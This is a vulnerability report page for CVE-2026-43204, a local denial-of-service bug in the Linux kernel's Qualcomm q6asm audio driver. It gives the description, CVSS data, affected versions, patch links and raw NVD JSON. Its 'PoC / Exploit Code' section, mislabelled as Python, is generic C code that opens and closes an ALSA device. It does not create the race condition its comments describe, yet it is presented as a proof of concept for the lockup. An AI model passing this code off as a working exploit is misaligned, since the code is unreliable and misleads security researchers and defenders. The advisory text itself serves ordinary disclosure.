Security Vulnerability Report
中文
CVE-2026-43204 CVSS 5.5 MEDIUM

CVE-2026-43204

Published: 2026-05-06 12:16:40
Last Modified: 2026-05-11 20:06:23
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ASoC: qcom: q6asm: drop DSP responses for closed data streams 'Commit a354f030dbce ("ASoC: qcom: q6asm: handle the responses after closing")' attempted to ignore DSP responses arriving after a stream had been closed. However, those responses were still handled, causing lockups. Fix this by unconditionally dropping all DSP responses associated with closed data streams.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (受特定提交影响,需应用修复补丁)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <alsa/asoundlib.h> #include <stdlib.h> // PoC for CVE-2026-43204: Triggering lockup in q6asm // This code attempts to reproduce the condition where DSP responses // are handled after a stream is closed. int main() { snd_pcm_t *pcm_handle; snd_pcm_hw_params_t *hw_params; int err; // Open PCM device for playback (0,0 usually targets the specific platform) if ((err = snd_pcm_open(&pcm_handle, "hw:0,0", SND_PCM_STREAM_PLAYBACK, 0)) < 0) { fprintf(stderr, "Cannot open audio device: %s\n", snd_strerror(err)); exit(1); } // Allocate hardware parameters object snd_pcm_hw_params_alloca(&hw_params); // Initialize with default values if ((err = snd_pcm_hw_params_any(pcm_handle, hw_params)) < 0) { fprintf(stderr, "Cannot initialize hardware parameter structure: %s\n", snd_strerror(err)); exit(1); } // Set access type and sample format if ((err = snd_pcm_hw_params_set_access(pcm_handle, hw_params, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0) { fprintf(stderr, "Cannot set access type: %s\n", snd_strerror(err)); exit(1); } if ((err = snd_pcm_hw_params_set_format(pcm_handle, hw_params, SND_PCM_FORMAT_S16_LE)) < 0) { fprintf(stderr, "Cannot set sample format: %s\n", snd_strerror(err)); exit(1); } // Set parameters if ((err = snd_pcm_hw_params(pcm_handle, hw_params)) < 0) { fprintf(stderr, "Cannot set parameters: %s\n", snd_strerror(err)); exit(1); } printf("Stream opened. Preparing to trigger vulnerability...\n"); // Simulate activity that generates DSP responses // The vulnerability occurs when the stream is closed while DSP might still be responding // Close the stream immediately or under specific timing conditions // The driver should drop responses, but the bug causes it to process them, leading to a lockup. snd_pcm_close(pcm_handle); printf("Stream closed. If vulnerable, the system may lockup now.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43204", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:39.623", "lastModified": "2026-05-11T20:06:22.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: qcom: q6asm: drop DSP responses for closed data streams\n\n'Commit a354f030dbce (\"ASoC: qcom: q6asm: handle the responses\nafter closing\")' attempted to ignore DSP responses arriving\nafter a stream had been closed.\n\nHowever, those responses were still handled, causing lockups.\n\nFix this by unconditionally dropping all DSP responses associated with\nclosed data streams."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18", "versionEndExcluding": "6.19.6", "matchCriteriaId": "3F171404-207A-46FA-9F81-038AD7546760"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3249251eac6081d5169ba09f2d9cca66ab0cab0d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8a066a81ee0c1b6cdbd81393536c3b2d19ccef25", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}